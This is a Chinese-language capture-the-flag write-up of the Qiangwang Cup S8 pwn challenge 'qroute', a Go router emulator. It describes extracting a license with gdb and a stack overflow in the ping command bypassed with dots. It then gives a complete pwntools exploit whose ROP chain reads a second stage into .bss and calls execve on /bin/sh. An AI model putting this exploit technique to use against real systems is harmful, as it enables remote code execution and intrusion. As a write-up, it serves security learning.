QWB-s8 qroute

QWB-s8 qroute

Berial Lv2

前言

在本次强网杯中这道qroute我们队伍并没有做出来,是赛后复现的

程序分析

由于这道题目是由go语言进行编写的,IDA中的代码并不是特别好分析,所以这次采用动静结合的方式进行分析,在分析中发现一部分功能需要进入config模式,但是进入该模式需要验证license,根据程序中的一些函数名猜测license加密用的可能是rc4,但是由于他的key在IDA中可以看到是固定的,所以我们利用gdb进行调试可以调试出license。

寻找license

image-20241107143815972

我们将断点定在加密函数执行完毕,观察此时寄存器的值

image-20241107143805009

这便是license的值,可以运行程序进行验证

image-20241107143905123

思维导图

image-20241107144826240

漏洞分析

在搜索同类题目之后发现。该类题目大多都是ping处存在栈溢出漏洞,比赛也是重点放在该部分,但是并没有找到溢出点。是赛后复现出的。

在分析ping函数的时候,发现了v70会进行长度检测,应该是我们输入的内容,将其改名为rop,之后后面的代码就会很明显的看到其实是有一个栈溢出的

image-20241108123743995

image-20241108123851181

在前面有一个

image-20241108123907963

是处理IP地址中的.的,尝试使用.进行阶段,发现可以绕过长度检测,接着就是构造ROP链,在这个go程序中没有比较好用的gadget,只能东拼西凑了。。。。

需要注意的是,即使构造出rop链也不可以超过0x3f大小,可以使用.进行隔断

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
from pwn import *
from LibcSearcher import *
import ctypes
from struct import pack
import numpy as np
from ctypes import *
from math import log
import warnings
banary = "./pwn"
elf = ELF(banary)
# libc = ELF("./libc-2.35.so")
#libc=ELF("/home/berial/libc/64bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/64bit/libc-2.23.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.27.so")
#libc=ELF("/home/berial/libc/32bit/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so")
#libc=ELF("/home/berial/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")
# warnings.filterwarnings("ignore", category=BytesWarning)
context(log_level = 'debug', os = 'linux', arch = 'amd64')
# context(os = 'linux', arch = 'amd64')
#context(log_level = 'debug', os = 'linux', arch = 'i386')

def debug(a=''):
if a != '':
gdb.attach(io, a)
pause()
else:
gdb.attach(io)
pause()
def cal(x, y):
return ((x - y) + 0x10000) % 0x10000
def get_sb():
return base + libc.sym['system'], base + next(libc.search(b'/bin/sh\x00'))
#----------------------------------------------------------------
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
ru = lambda text : io.recvuntil(text)
rud = lambda text: io.recvuntil(text, drop=True)
rl = lambda : io.recvline()
uu32 = lambda : u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda addr : log.info(addr)
ia = lambda : io.interactive()
lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
p = lambda s: print('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
#----------------------------------------------------------------
url = '1.95.68.23:58924'
local = 1
if local:
io = process(banary)
#io = process(banary, env={LD_LIBRARY:'./libc.so'})
#io = process(banary,stdin=PTY,raw=False)
else:
io = remote(*url.replace(':', ' ').split())
#----------------------------------------------------------------
def cert(lisence):
sla("Router# ", b'cert ' + lisence)
ru("Authorization successful.\n")
def conf_t():
sla("Router# ", b'configure')
ru("Entered configuration mode.\n")
def set_cmd(cmd,
dns1=None, dns2=None,
route=None, via=None, interface_a=None,
interface_b=None, ip=None, MAC=None, status=None):
if cmd == b'dns':
if dns1 and dns2:
sla("Router(config)# ", b'set dns ' + str(dns1).encode() + b' ' + str(dns2).encode())
elif cmd == b'route':
if route and via and interface_a:
sla("Router(config)# ", b'set route ' + str(route).encode() +
b' ' + str(via).encode() + b' ' + str(interface_a).encode())
elif cmd == b'interface':
if interface_b and ip and MAC and status:
sla("Router(config)# ", b'set interface ' + str(interface_b).encode() +
b' ' + str(ip).encode() + b' ' + str(MAC).encode() + b' ' + str(status).encode())
else:
print("Error: Unknown command.")
def set_route(route):
io.sendlineafter("Router",b"set route " + route)

def set_dns(dns,ip):
io.sendlineafter(b"Router",b"set dns " + dns + b" " + ip)

def _exit():
sla("Router(config)# ", b'exit')


# ----------------------------------------------------------------
script = '''
b *0x4D8FFD\n
# b *0x4D6AA0\n
# b *0x4D81B1\n
b *0x43fac9\n
b *0x4D8587\n
b *0x004D858C\n
b *0x0x48DB60
'''
# gdb.attach(io, script)

lisence = b'4ceb539da109caf8eea7'
cert(lisence)
conf_t()
#---------
pop_rbx = 0x461dc1
pop_rcx = 0x433347
pop_rbp = 0x401030
read = 0x48DB60
leave_ret = 0x4a721a
bss = elf.bss() + 0x800
pop_rdi = 0x4c23dd
pop_rax_ret6 = 0x47afe4
mov_rsi_rax_ret = 0x41054f
pop_rax_pop_rbp_ret = 0x405368
#---------

payload = b"."*0x207# + b'F'*0x800
payload += p64(pop_rbp) + p64(bss)
payload += p64(pop_rcx) + p64(0x200)
payload += p64(pop_rbx) + p64(bss)
payload += p64(read) + b'\x1a\x72\x4a\x00\x00'

# payload +=

set_dns(payload,b'1.1.1.1')
# set_cmd(b'dns', dns1 = payload, dns2 = b'1.1.1.1')
# set_route(b"A"*0x3f+b" BBBBB 1")
# set_cmd(b'route', route = b'A'*0x3f, via = b'BBBBB', interface_a = b'1')
# sla("Router(config)# ", b'exec ping host ' + b'A'*0x3f)

sla("Router(config)# ", b'exec ping host ' + payload)
syscall = 0x004735A9
payload = p64(0)
payload += p64(pop_rax_pop_rbp_ret) + p64(0x3b) + p64(0)
payload += p64(pop_rbx) + p64(bss+0x100)
payload += p64(syscall)
s(payload.ljust(0x100,b"\x00")+b"/bin/sh\x00")

# debug()
ia()
  • Title: QWB-s8 qroute
  • Author: Berial
  • Created at : 2024-11-07 14:26:01
  • Updated at : 2024-11-08 17:38:28
  • Link: https://berial.cn/posts/QWB-s8-qroute/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments